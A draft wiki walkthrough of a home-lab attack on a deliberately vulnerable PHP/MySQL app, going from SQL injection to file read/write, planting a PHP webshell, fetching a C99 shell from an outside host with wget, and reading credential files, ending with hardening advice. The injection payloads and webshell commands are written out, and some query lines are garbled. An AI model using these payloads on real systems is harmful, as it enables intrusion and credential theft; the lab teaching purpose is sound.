From-common-sql-injection-to-system-compromise

From aldeid
Jump to navigation Jump to search
DRAFT
This page is still a draft. Thank you for your understanding.

Description

Introduction

In the shape of my writing on WackoPicko, I did some researches on the Internet about persistent SQL injections and went to the excellent article "Backdoor webserver using MySQL SQL Injection" available here: http://www.greensql.net/publications/backdoor-webserver-using-mysql-sql-injection. I absolutely wanted to test all this and immediately started to prepare a *hacking* environment on my VMWare ESX4 plateform.

Plateform

My plateform is a standard Linux/Apache/PHP/MySQL (LAMP) environment and hosts a very simple and vulnerable web application that I wrote in PHP.

  • Typical LAMP environment with:
    • IP: 192.168.100.15 (VMWare ESX4)
    • OS: Debian 5 with full updates
    • Apache: 2.2.17
    • PHP: 5.3.4
    • MySQL: 5.5.8
  • Web application:
    • PHP script vulnerable to SQL injections.
    • Database with 1 table (user).

It can be downloaded here: http://dl.dropbox.com/u/10761700/poc-sql-injection.rar.

Read README and INSTALL files for full instructions.

Proof of Concept (PoC)

Web application vulnerabilities

Normal usage

By pointing your browser to http://localhost, you should be presented with such a screen:

Insert some numeric values (1, 2, 3) in the ID field and press ENTER. It shows information on users.

Basic SQL injections

This field is vulnerable to SQL injections. Following strings make the request always true:

  • 1 or 1=1
  • 2 or 1

SQL injections for MySQL

By default, MySQL doesn't support the execution of multiple requests separated by a semi-column:

mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.

If mysql has been compiled from sources, you should have this file:

/usr/include/mysql/mysql_com.h

It contains this line:

#define CLIENT_MULTI_STATEMENTS (1UL << 16) /* Enable/disable multi-stmt support */

By uncommenting this line, you will be able to execute multiple queries, separated by a semi-column.

Writing arbitrary files

Provided the user has FILE privileges and that MySQL has write privileges on a directory, you should be able to write a file with following string:

1 UNION SELECT 'hack',, INTO OUTFILE '/tmp/file.txt'

The full request that is executed by the PHP script is:

  SELECT id, username, password
  FROM user
  WHERE id=1
UNION
  SELECT 'hack',,
  INTO OUTFILE '/tmp/file.txt'

We use a UNION statement to concatenate both requests. To make it work, we must have the same number of fields in both requests.

Reading arbitrary files

Provided the user has FILE permissions, you should be able to read files by injecting following content to the ID field:

1 UNION SELECT LOAD_FILE('/tmp/file.txt'),,

The resulting request is:

  SELECT id, username, password
  FROM user
  WHERE id=1
UNION
  SELECT LOAD_FILE('/tmp/file.txt'),,

Database structure

Using the "UNION" injection, it is possible to completely reverse-engineer the database.

Provided the MySQL account used for the connection has access to all databases (included the "mysql" database), it is possible to get the passwords. Here is an example of such an attack. We grab the hashes:

You will find online tools to crack the hashes:

Attack scenario

Writing a webshell to the server

By using the full permissions in the upload directory, we should be able to write a rudimentary webshell to the web server. Inject following content:

1 UNION SELECT '<?php system($_GET[\'cmd\']) ?>',0,0 INTO OUTFILE '/var/www/upload/cmd.php'

The full request is:

  SELECT id, username, password
  FROM user
  WHERE id=1
UNION
  SELECT '<?php system($_GET[\'cmd\']); ?>',,
  INTO OUTFILE '/tmp/cmd.php';

Testing the webshell

You can test the webshell by injecting arbitrary commands to the cmd parameter:

Using the webshell to download files

By using the rudimentary webshell, we are going to download a C99Shell on a remote server:

http://192.168.100.15/upload/cmd.php?cmd=wget%20http://dl.dropbox.com/u/10761700/c99.php

Once done, we should be able to use our new web shell:

http://192.168.100.15/upload/c99.php

Discovering passwords

Using the webshell, we should be able to read the root password that is used to connet to the MySQL database. This one is included in the source code of the index.php file.

Inject the following content:

http://192.168.100.15/upload/cmd.php?cmd=cat%20/var/www/index.php 

We can also copy the /etc/passwd file to our upload directory and read the content:

Note
Notice that we have the accounts but not the passwords. These latest are stored in the /etc/shadow file but we don't have enough privileges to copy it.

Privileges escalation

To escalate privileges, some hints:

  • Try the combination of root/password we have discovered to access the MySQL server; if we are lucky, the password will be the same to gain root privileges on the machine!
  • Scan the services and try to find non-patched/zero-day vulnerabilities on it.

By chance, we confirm the first idea and we can access the machine with root privileges:

INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Maintaining access

INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Tools

Protection mechanisms

  • chroot your Apache/PHP/MySQL installation.
  • Don't use the root account to connect to your database but rather create a specific user with limited access to the database.
  • Withdraw FILE permissions from the user who connects to the database unless you absolutely need it.
  • Have a strong password policy (strong passwords, often change passwords, don't use the same password for 2 services, ...)